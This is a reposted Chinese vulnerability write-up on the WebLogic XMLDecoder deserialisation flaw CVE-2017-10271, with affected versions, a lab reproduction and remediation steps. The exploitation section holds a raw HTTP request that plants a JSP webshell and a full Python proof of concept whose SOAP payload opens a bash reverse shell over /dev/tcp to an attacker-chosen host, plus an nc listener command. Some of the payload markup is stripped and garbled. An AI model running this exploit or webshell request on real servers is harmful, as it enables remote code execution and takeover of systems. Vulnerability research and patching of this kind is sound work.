小工具知识网

当前位置: 首页 > 行业知识 > weblogic 反序列化 [CVE-2017-10271]

行业知识

weblogic 反序列化 [CVE-2017-10271]

2026-11-13 16:58:17 来源:互联网转载

一、漏洞描述

这个漏洞是wls-wsat这个接口出了问题,Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

二、影响版本

  • 10.3.6.0
  • 12.1.3.0.0
  • 12.2.1.1.0

    三、影响组件

     Weblogic的WLS Security组件

    四、漏洞判断

    环境搭建

    打开web services组件 

     漏洞验证

    拿大佬的webshell

    POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.116.144:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 646                     servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp            ]]>                            

    打开burpsuite传入 

     任意代码执行

     

    五、漏洞利用

    大佬的poc

    import requests  # 导入 requests 库用于发送 HTTP 请求import argparse  # 导入 argparse 库用于解析命令行参数if __name__ == '__main__':    # 创建命令行参数解析器    parse = argparse.ArgumentParser()    # 添加目标 URL 参数    parse.add_argument("url", type=str)    # 添加用于反向 shell 连接的 IP 地址参数,该参数是必需的    parse.add_argument("-s", "--shellIp", type=str, required=True)    # 添加用于反向 shell 连接的端口号参数,该参数是必需的    parse.add_argument("-p", "--port", type=str, required=True)    # 解析命令行参数    arguments = parse.parse_args()    # 获取目标 URL    url = arguments.url    # 获取用于反向 shell 连接的 IP 地址    shellIp = arguments.shellIp    # 获取用于反向 shell 连接的端口号    dPort = arguments.port    # 创建一个会话对象    req = requests.session()    # 设置代理,这里使用了本地的代理地址    req.proxies = {'http': "http://127.0.0.1:8080", 'https': "http://127.0.0.1:8080"}    # 构造 HTTP 请求头部    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",        "Accept-Encoding": "gzip",        "Connection": "close",        "Content-Type": "text/xml",        "Content-Length": "599"    }    # 构造 SOAP 消息的 payload    payload = " " \              "" \              "" \              "" \              "" \              "" \              "/bin/bash" \              "" \              "-c" \              "" \              "bash -i >& /dev/tcp/" + shellIp + "/" + dPort + " 0>&1" \                               "" \                               "" \                               "" \                               "" \                               "" \                               "" \                               "" \                               ""    # 发送 HTTP POST 请求,尝试利用漏洞执行远程命令执行攻击    resq = req.post(url + "/wls-wsat/CoordinatorPortType", headers=headers, data=payload)    # 如果返回状态码为 500,表示攻击成功    if resq.status_code == 500:        print("poc发送成功")        print("请查看shell客户端")    else:        print("poc发送失败") # python CVE-2017-10271.py http://192.168.116.144:7001 -s 192.168.116.151 -p 4444

    攻击机打开 nc -l -p 4444监听

    运行poc 

    这篇文章有反推的原理 WebLogic XMLDecoder反序列化漏洞 | 像风 (wxylyw.com)

    六、漏洞修复

    WebLogic没有对XML的数据进行任何的过滤,导致可以构造XML数据,反序列化任意对象,从而RCE,这也就是CVE-2017-3506产生的原因。

    1、官方补丁修复

    2、临时解决方案

     根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。

    根据实际环境路径,删除WebLogic wls-wsat组件:

    rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war

    rm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

    rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

    重启Weblogic域控制器服务:

    DOMAIN_NAME/bin/stopWeblogic.sh           #停止服务

    DOMAIN_NAME/bin/startManagedWebLogic.sh    #启动服务

    删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面

                            

    参考 https://blog.csdn.net/yumengzth/article/details/97522783

上一篇:Java算法-力扣leetcode-45. 跳跃游戏 II

下一篇:怎么开服务器地址?